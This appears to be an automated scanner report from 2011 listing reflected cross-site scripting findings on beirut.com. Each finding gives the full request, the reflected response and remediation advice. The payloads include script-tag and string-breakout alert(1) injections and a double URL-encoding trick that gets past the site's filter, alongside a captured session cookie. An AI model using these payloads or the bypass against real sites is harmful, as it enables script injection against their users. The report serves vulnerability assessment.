GET /Movies3cfdf'-alert(1)-'08a5d997df8/Cinemas/Grand-Cinemas-ABC/1087 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:01:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61063
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Movies3cfdf'-alert(1)-'08a5d997df8'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9b1e"><a>a6bbf04bcd1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Moviesb9b1e"><a>a6bbf04bcd1/Cinemas/Grand-Cinemas-ABC/1087 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:50:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61042
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Moviesb9b1e"><a>a6bbf04bcd1"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa186%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec3126f33e5d was submitted in the REST URL parameter 4. This input was echoed as fa186"><script>alert(1)</script>c3126f33e5d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Movies/Cinemas/Grand-Cinemas-ABC/1087fa186%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec3126f33e5d HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:12:43 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55223
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=green&indexpage=Movies&listingtype=movies.php&Types=1087fa186"><script>alert(1)</script>c3126f33e5d"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 16eaf'-alert(1)-'deb97ca46cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Movies16eaf'-alert(1)-'deb97ca46cb/Cinemas/Grand-Concorde/1086 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:41:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61069
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Movies16eaf'-alert(1)-'deb97ca46cb'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f0fa"><a>c365b99de15 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Movies5f0fa"><a>c365b99de15/Cinemas/Grand-Concorde/1086 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:30:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60877
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Movies5f0fa"><a>c365b99de15"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a772%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e378dee22916 was submitted in the REST URL parameter 4. This input was echoed as 8a772"><script>alert(1)</script>378dee22916 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Movies/Cinemas/Grand-Concorde/10868a772%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e378dee22916 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:56:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=blue&indexpage=Movies&listingtype=movies.php&Types=10868a772"><script>alert(1)</script>378dee22916"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ddf69"><a>ce7e68797bc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Moviesddf69"><a>ce7e68797bc/Cinemas/Metropolis-Empire-Sofil/1085 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:28:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60878
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Moviesddf69"><a>ce7e68797bc"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 49beb'-alert(1)-'aa6dac3381f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Movies49beb'-alert(1)-'aa6dac3381f/Cinemas/Metropolis-Empire-Sofil/1085 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:36:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61063
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Movies49beb'-alert(1)-'aa6dac3381f'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72a9d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6d0c3c5ce29 was submitted in the REST URL parameter 4. This input was echoed as 72a9d"><script>alert(1)</script>6d0c3c5ce29 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Movies/Cinemas/Metropolis-Empire-Sofil/108572a9d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6d0c3c5ce29 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:50:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55233
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=magenta&indexpage=Movies&listingtype=movies.php&Types=108572a9d"><script>alert(1)</script>6d0c3c5ce29"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ddef'-alert(1)-'464af40d1e2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Movies5ddef'-alert(1)-'464af40d1e2/Cinemas/Sodeco/1084 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:43:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Movies5ddef'-alert(1)-'464af40d1e2'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93206"><a>fb5a3355424 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Movies93206"><a>fb5a3355424/Cinemas/Sodeco/1084 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:34:56 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61035
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Movies93206"><a>fb5a3355424"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98d6b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2fd7090c40 was submitted in the REST URL parameter 4. This input was echoed as 98d6b"><script>alert(1)</script>2fd7090c40 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Movies/Cinemas/Sodeco/108498d6b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2fd7090c40 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:56:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55216
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=blue&indexpage=Movies&listingtype=movies.php&Types=108498d6b"><script>alert(1)</script>2fd7090c40"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db684%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7a64b1fbb87 was submitted in the REST URL parameter 4. This input was echoed as db684"><script>alert(1)</script>7a64b1fbb87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Downtown/I-Bar/67db684%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7a64b1fbb87 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 10:11:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=67db684"><script>alert(1)</script>7a64b1fbb87&randstyle=magenta"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b37c9%2527%253balert%25281%2529%252f%252fa075a4b6c42 was submitted in the REST URL parameter 4. This input was echoed as b37c9';alert(1)//a075a4b6c42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Downtown/I-Bar/67b37c9%2527%253balert%25281%2529%252f%252fa075a4b6c42 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 10:12:22 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Index'; var initfacebox=''; var contactid='67b37c9';alert(1)//a075a4b6c42'; var showfacebox=''; </script> ...[SNIP]...
